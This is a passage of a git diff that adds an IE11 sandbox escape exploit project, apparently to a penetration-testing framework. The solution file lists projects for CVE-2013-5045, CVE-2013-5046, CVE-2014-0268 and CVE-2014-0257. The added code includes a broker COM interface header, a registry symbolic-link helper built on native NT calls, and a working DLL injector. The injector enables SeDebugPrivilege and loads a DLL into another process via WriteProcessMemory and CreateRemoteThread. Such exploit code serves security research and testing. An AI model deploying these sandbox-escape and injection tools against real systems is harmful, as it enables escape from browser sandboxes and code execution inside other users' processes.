STDMETHODCALLTYPE BrokerEnableWindow(int, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE EndFakeModalityForwardingToTab(HWND *, long) = 0; + virtual HRESULT STDMETHODCALLTYPE CloseOldTabIfFailed(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EnableSuggestedSites(HWND *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE SetProgressValue(HWND *, DWORD, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerStartNewIESession(void) = 0; + virtual HRESULT STDMETHODCALLTYPE CompatDetachInputQueue(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE CompatAttachInputQueue(void) = 0; + virtual HRESULT STDMETHODCALLTYPE SetToggleKeys(DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE RepositionInfrontIE(HWND *, int, int, int, int, DWORD) = 0; + //virtual HRESULT STDMETHODCALLTYPE ReportShipAssert(DWORD, DWORD, DWORD, WORD const *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowOpenSafeOpenDialog(HWND *, /* _BROKER_SAFEOPENDLGPARAM */ void *, DWORD *, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerAddSiteToStart(HWND *, WORD *, WORD const *, long, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE SiteModeAddThumbnailButton(DWORD *, HWND *, WORD *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE SiteModeAddButtonStyle(int *, HWND *, DWORD, WORD *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE IsSiteModeFirstRun(int, WORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE IsImmersiveSiteModeFirstRun(int, WORD const *, WORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetImmersivePinnedState(DWORD, int, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerDoSiteModeDragDrop(DWORD, long *, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE EnterUILock(long) = 0; + virtual HRESULT STDMETHODCALLTYPE LeaveUILock(long) = 0; + virtual HRESULT STDMETHODCALLTYPE CredentialAdd(/* _IECREDENTIAL */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE CredentialGet(WORD const *, WORD const *, /*_IECREDENTIAL */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE CredentialFindAllByUrl(WORD const *, DWORD *, /* _IECREDENTIAL */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE CredentialRemove(WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowOpenFile(HWND *, DWORD, DWORD, WORD *, WORD *, WORD const *, WORD const *, WORD const *, /* _OPEN_FILE_RESULT */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowImmersiveOpenFilePicker(HWND *, int, WORD const *, IUnknown * *, /* _OPEN_FILE_RESULT */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE RegisterFileDragDrop(HWND *, DWORD, unsigned char *) = 0; + virtual HRESULT STDMETHODCALLTYPE RevokeFileDragDrop(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetFileTokensForDragDropA(HWND *, DWORD, char * *, /* _OPEN_FILE_RESULT */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetFileTokensForDragDropW(HWND *, DWORD, WORD * *, /* _OPEN_FILE_RESULT */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowEPMCompatDocHostConsent(HWND *, WORD const *, WORD const *, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetModuleInfoFromSignature(WORD const *, WORD * *, DWORD, WORD * *, WORD * *, WORD * *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShellExecWithActivationHandler(HWND *, LPCWSTR, LPCWSTR, int, /* _MSLAUNCH_HANDLER_STATUS */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShellExecFolderUri(LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowIMMessageDialog(HWND *, WORD const *, WORD const *, /* _IM_BUTTON_LABEL_ID */ void *, DWORD, DWORD, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetFileHandle(HWND *, BSTR filename, BYTE * hash, DWORD hashlen, HANDLE*) = 0; + virtual HRESULT STDMETHODCALLTYPE MOTWCreateFileW(DWORD dwProcessId, BSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, int dwOpenMode, DWORD dwFlagsAndAttributes, ULONGLONG* h, DWORD *error) = 0; + virtual HRESULT STDMETHODCALLTYPE MOTWFindFileW() = 0; + virtual HRESULT STDMETHODCALLTYPE MOTWGetFileDataW() = 0; + virtual HRESULT STDMETHODCALLTYPE WinRTInitializeWithWindow(IUnknown *, HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoProvisionNetworks(HWND *, WORD const *, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetAccessibilityStylesheet(DWORD, unsigned __int64 *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetAppCacheUsage(WORD const *, unsigned __int64 *, unsigned __int64 *) = 0; + virtual HRESULT STDMETHODCALLTYPE HiddenTabRequest(/* _BROKER_BIND_INFO */ void *, /* _BROKER_REDIRECT_DETAIL */ void *, /* _HIDDENTAB_REQUEST_INFO */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetMaxCpuSpeed(DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetProofOfPossessionTokensForUrl(WORD const *, DWORD *, /* _IEProofOfPossessionToken */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetLoginUrl(LPWSTR*) = 0; + virtual HRESULT STDMETHODCALLTYPE ScheduleDeleteEncryptedMediaData() = 0; + virtual HRESULT STDMETHODCALLTYPE IsDeleteEncryptedMediaDataPending() = 0; + virtual HRESULT STDMETHODCALLTYPE GetFrameAppDataPathA() = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerHandlePrivateNetworkFailure() = 0; + +}; + + +_COM_SMARTPTR_TYPEDEF(IIEUserBroker, __uuidof(IIEUserBroker)); +_COM_SMARTPTR_TYPEDEF(IShdocvwBroker, __uuidof(IShdocvwBroker)); \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.cpp b/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.cpp new file mode 100755 index 0000000000..50830eee4a --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.cpp @@ -0,0 +1,161 @@ +/*-------------------------------------------------------------------- +REGLN - Manage Windows Rregistry Links V20R0 +====================================================================== + Antoni Sawicki ; Dublin, July 10 2005; + + The following Copyrights apply: + + Copyright (c) 1998-2005 by Antoni Sawicki + Copyright (c) 1998-2005 by Tomasz Nowak + Copyright (c) 1998 by Mark Russinovich + + License: + + This software is distributed under the terms and conditions of + GPL - GNU General Public License. The software is provided AS + IS and ABSOLUTELY NO WARRANTY IS GIVEN. The author takes no + responsibility for any damages or consequences of usage of this + software. For more information, please read the attached GPL.TXT. + +--------------------------------------------------------------------*/ + +#define _CRT_SECURE_NO_WARNINGS + +#include +#include +#include +#include +#include "regln.h" +#include "Utils.h" + + +int checkargs(int argc, char *argv[]); +char *win2ntapi(char *win, int len); +int ntapi_init(void); +int usage(void); + +static fNtCreateKey NtCreateKey; +static fNtDeleteKey NtDeleteKey; +static fNtSetValueKey NtSetValueKey; + +int DeleteLink(LPCWSTR par_src) +{ + DWORD disposition, status; + HANDLE hdl_nt_keyhandle; + UNICODE_STRING nt_keyname; + OBJECT_ATTRIBUTES nt_object_attributes; + + ntapi_init(); + + nt_keyname.Buffer = par_src; + nt_keyname.Length = wcslen(par_src) * sizeof(WCHAR); + + nt_object_attributes.ObjectName = &nt_keyname; + nt_object_attributes.Attributes = OBJ_CASE_INSENSITIVE | REG_OPTION_OPEN_LINK_ATTR; + nt_object_attributes.RootDirectory = NULL; // + nt_object_attributes.SecurityDescriptor = NULL; // unused for this object type + nt_object_attributes.SecurityQualityOfService = NULL; // + nt_object_attributes.Length = sizeof(OBJECT_ATTRIBUTES); + + // open link + status = NtCreateKey(&hdl_nt_keyhandle, KEY_ALL_ACCESS, &nt_object_attributes, 0, NULL, REG_OPTION_NON_VOLATILE, &disposition); + + if (status == 0) { + DebugPrintf("DEBUG: %ls opened successfully.\n", par_src); + + // delete + status = NtDeleteKey(hdl_nt_keyhandle); + + if (status == 0) { + DebugPrintf("DEBUG: %ls deleted successfully.\n", par_src); + } + else { + DebugPrintf("ERROR: Link deletion failed. [Step 2] [Error %08X]\n", status); + return 1; + } + } + else { + DebugPrintf("ERROR: Link deletion failed. [Step 1] [Error %08X]\n", status); + return 1; + } + + return 0; +}; + +int CreateLink(LPCWSTR par_src, LPCWSTR par_dst, int opt_volatile) +{ + DWORD disposition, status; + HANDLE hdl_nt_keyhandle; + UNICODE_STRING nt_keyname, nt_valuename; + OBJECT_ATTRIBUTES nt_object_attributes; + + ntapi_init(); + + nt_keyname.Buffer = par_src; + nt_keyname.Length = wcslen(par_src) * sizeof(WCHAR); + + nt_object_attributes.ObjectName = &nt_keyname; + nt_object_attributes.Attributes = OBJ_CASE_INSENSITIVE; + nt_object_attributes.RootDirectory = NULL; // + nt_object_attributes.SecurityDescriptor = NULL; // unused for this object type + nt_object_attributes.SecurityQualityOfService = NULL; // + nt_object_attributes.Length = sizeof(OBJECT_ATTRIBUTES); + + // create the key + if (opt_volatile) + status = NtCreateKey(&hdl_nt_keyhandle, KEY_ALL_ACCESS, &nt_object_attributes, 0, NULL, REG_OPTION_VOLATILE | REG_OPTION_CREATE_LINK, &disposition); + else + status = NtCreateKey(&hdl_nt_keyhandle, KEY_ALL_ACCESS, &nt_object_attributes, 0, NULL, REG_OPTION_NON_VOLATILE | REG_OPTION_CREATE_LINK, &disposition); + + if (status == 0) { + DebugPrintf("DEBUG: Key %ls created successfully.\n", par_src); + + // the real action is here: + + nt_valuename.Buffer = REG_LINK_VALUE_NAME; + nt_valuename.Length = wcslen(REG_LINK_VALUE_NAME) * sizeof(WCHAR); + + status = NtSetValueKey(hdl_nt_keyhandle, &nt_valuename, 0, REG_LINK, par_dst, wcslen(par_dst) * sizeof(WCHAR)); + + if (status == 0) { + DebugPrintf("DEBUG: Value REG_LINK:%ls=%ls set succesfully.\n", REG_LINK_VALUE_NAME, par_dst); + } + else { + DebugPrintf("ERROR: Link creation failed. [Step 2] [Error %08X]\n", status); + return 1; + } + } + else { + DebugPrintf("ERROR: Link creation failed. [Step 1] [Error %08X]\n", status); + return 1; + } + + return 0; +} + + +int ntapi_init(void) { + #ifdef DEBUG + DebugPrintf("DEBUG: Initializing NTDLL.DLL:NtCreateKey...\n"); + #endif + if(!(NtCreateKey = (fNtCreateKey) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateKey" ))) { + DebugPrintf("This program works only on Windows NT/2000/XP/NET\n"); + return 1; + } + #ifdef DEBUG + DebugPrintf("DEBUG: Initializing NTDLL.DLL:NtDeleteKey...\n"); + #endif + if(!(NtDeleteKey = (fNtDeleteKey) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtDeleteKey" ))) { + DebugPrintf("This program works only on Windows NT/2000/XP/NET\n"); + return 1; + } + #ifdef DEBUG + DebugPrintf("DEBUG: Initializing NTDLL.DLL:NtSetValueKey...\n"); + #endif + if(!(NtSetValueKey = (fNtSetValueKey) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtSetValueKey" ))) { + DebugPrintf("This program works only on Windows NT/2000/XP/NET\n"); + return 1; + } + return 0; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.h b/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.h new file mode 100755 index 0000000000..b760e6e540 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.h @@ -0,0 +1,70 @@ +/*-------------------------------------------------------------------- +REGLN - Manage Windows Rregistry Links V20R0 +====================================================================== + Antoni Sawicki ; Dublin, July 10 2005; + + The following Copyrights apply: + + Copyright (c) 1998-2005 by Antoni Sawicki + Copyright (c) 1998-2005 by Tomasz Nowak + Copyright (c) 1998 by Mark Russinovich + + License: + + This software is distributed under the terms and conditions of + GPL - GNU General Public License. The software is provided AS + IS and ABSOLUTELY NO WARRANTY IS GIVEN. The author takes no + responsibility for any damages or consequences of usage of this + software. For more information, please read the attached GPL.TXT. + +--------------------------------------------------------------------*/ + + + +#define REG_LINK_VALUE_NAME L"SymbolicLinkValue" // found by tenox +//#define REG_OPTION_CREATE_LINK 2 // this is defined in MSVC 2.0 but not after +#define REG_OPTION_OPEN_LINK_ATTR 0x100 // found by tommy +#define OBJ_CASE_INSENSITIVE 0x40 + +// +// Following definitions are generously provided by Mark Russinovitch +// +typedef struct _UNICODE_STRING { + WORD Length; + WORD MaximumLength; + PCWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + DWORD Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + DWORD Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + +typedef DWORD (__stdcall *fNtCreateKey)( + HANDLE KeyHandle, + DWORD DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + DWORD TitleIndex, + PUNICODE_STRING Class, + DWORD CreateOptions, + PDWORD Disposition +); + +typedef DWORD (__stdcall *fNtSetValueKey)( + HANDLE KeyHandle, + PUNICODE_STRING ValueName, + DWORD TitleIndex, + DWORD Type, + const void* Data, + DWORD DataSize +); + +typedef DWORD (__stdcall *fNtDeleteKey)( + HANDLE KeyHandle +); diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.cpp new file mode 100755 index 0000000000..51ec5e2107 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CommandUtils.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.h b/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.h new file mode 100755 index 0000000000..c846c60793 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include +#include +#include +#include +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/targetver.h b/external/source/exploits/IE11SandboxEscapes/CommonUtils/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/IE11SandboxEscapes.sln b/external/source/exploits/IE11SandboxEscapes/IE11SandboxEscapes.sln new file mode 100755 index 0000000000..f5cf04e173 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/IE11SandboxEscapes.sln @@ -0,0 +1,72 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.30501.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectDll", "InjectDll\InjectDll.vcxproj", "{4AD1637F-88D8-4AF8-ADF4-027272C10BDD}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2013-5045", "CVE-2013-5045\CVE-2013-5045.vcxproj", "{A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CommonUtils", "CommonUtils\CommonUtils.vcxproj", "{04DDE547-BB65-4C0C-B80B-231DF42C7A1D}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2013-5046", "CVE-2013-5046\CVE-2013-5046.vcxproj", "{7A9AC14A-00BC-4A69-9B86-C80635606FEA}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2014-0268", "CVE-2014-0268\CVE-2014-0268.vcxproj", "{CE924704-AC2D-46A7-BB19-2C99BC97CCE9}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2014-0257", "CVE-2014-0257\CVE-2014-0257.vcxproj", "{2A46841E-E3FC-42FF-BCDF-70F76E757E26}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Debug|Win32.ActiveCfg = Debug|Win32 + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Debug|x64.ActiveCfg = Debug|x64 + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Debug|x64.Build.0 = Debug|x64 + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Release|Win32.ActiveCfg = Release|Win32 + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Release|x64.ActiveCfg = Release|x64 + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Release|x64.Build.0 = Release|x64 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Debug|Win32.ActiveCfg = Debug|Win32 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Debug|Win32.Build.0 = Debug|Win32 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Debug|x64.ActiveCfg = Debug|x64 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Debug|x64.Build.0 = Debug|x64 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Release|Win32.ActiveCfg = Release|Win32 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Release|Win32.Build.0 = Release|Win32 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Release|x64.ActiveCfg = Release|x64 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Release|x64.Build.0 = Release|x64 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Debug|Win32.ActiveCfg = Debug|Win32 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Debug|Win32.Build.0 = Debug|Win32 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Debug|x64.ActiveCfg = Debug|x64 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Debug|x64.Build.0 = Debug|x64 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Release|Win32.ActiveCfg = Release|Win32 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Release|Win32.Build.0 = Release|Win32 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Release|x64.ActiveCfg = Release|x64 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Release|x64.Build.0 = Release|x64 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Debug|Win32.ActiveCfg = Debug|Win32 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Debug|x64.ActiveCfg = Debug|x64 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Debug|x64.Build.0 = Debug|x64 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Release|Win32.ActiveCfg = Release|Win32 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Release|x64.ActiveCfg = Release|x64 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Release|x64.Build.0 = Release|x64 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Debug|Win32.ActiveCfg = Debug|Win32 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Debug|x64.ActiveCfg = Debug|x64 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Debug|x64.Build.0 = Debug|x64 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Release|Win32.ActiveCfg = Release|Win32 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Release|x64.ActiveCfg = Release|x64 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Release|x64.Build.0 = Release|x64 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Debug|Win32.ActiveCfg = Debug|Win32 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Debug|Win32.Build.0 = Debug|Win32 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Debug|x64.ActiveCfg = Debug|x64 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Debug|x64.Build.0 = Debug|x64 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Release|Win32.ActiveCfg = Release|Win32 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Release|Win32.Build.0 = Release|Win32 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Release|x64.ActiveCfg = Release|x64 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.cpp b/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.cpp new file mode 100755 index 0000000000..4dfba1f89c --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.cpp @@ -0,0 +1,107 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" + +BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if(!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) + { + printf("Error 1 %d\n", GetLastError()); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + if(bEnablePrivilege) + { + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + } + else + { + tp.Privileges[0].Attributes = 0; + } + + if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) + { + printf("Error adjusting privilege %d\n", GetLastError()); + return FALSE; + } + + if(GetLastError() == ERROR_NOT_ALL_ASSIGNED) + { + printf("Not all privilges available\n"); + return FALSE; + } + + return TRUE; +} + + +int _tmain(int argc, _TCHAR* argv[]) +{ + if(argc < 3) + { + printf("Usage: InjectDll pid PathToDll\n"); + return 1; + } + + WCHAR path[MAX_PATH]; + + GetFullPathName(argv[2], MAX_PATH, path, nullptr); + int pid = wcstoul(argv[1], 0, 0); + + printf("Injecting DLL: %ls into PID: %d\n", path, pid); + + HANDLE hToken; + OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); + + SetPrivilege(hToken, SE_DEBUG_NAME, TRUE); + + HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); + if(hProcess) + { + size_t strSize = (wcslen(path) + 1) * sizeof(WCHAR); + LPVOID pBuf = VirtualAllocEx(hProcess, 0, strSize, MEM_COMMIT, PAGE_READWRITE); + if(pBuf == NULL) + { + printf("Couldn't allocate memory in process\n"); + return 1; + } + SIZE_T written; + if (!WriteProcessMemory(hProcess, pBuf, path, strSize, &written)) + { + printf("Couldn't write to process memory\n"); + return 1; + } + + LPVOID pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"); + + if(!CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryW, pBuf, 0, NULL)) + { + printf("Couldn't create remote thread %d\n", GetLastError()); + } + } + else + { + printf("Couldn't open process %d\n", GetLastError()); + } + + return 0; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.vcxproj b/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.vcxproj new file mode 100755 index 0000000000..73d3147876 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/InjectDll/InjectDll.vcxproj @@ -0,0 +1,155 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD} + Win32Proj + InjectDll + + + + Application + true + Unicode + v120 + + + Application + true + Unicode + v120 + + + Application + false + true + Unicode + v120 + + + Application + false + true + Unicode + v120 + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + + + Console + true + true + true + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.cpp new file mode 100755 index 0000000000..85ffe01166 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// InjectDll.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.h b/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.h new file mode 100755 index 0000000000..83ad88a10f --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/InjectDll/stdafx.h @@ -0,0 +1,12 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include +#include diff --git a/external/source/exploits/IE11SandboxEscapes/InjectDll/targetver.h b/external/source/exploits/IE11SandboxEscapes/InjectDll/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/InjectDll/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/LICENSE b/external/source/exploits/IE11SandboxEscapes/LICENSE new file mode 100755 index 0000000000..70566f2d0e --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/LICENSE @@ -0,0 +1,674 @@ +GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer 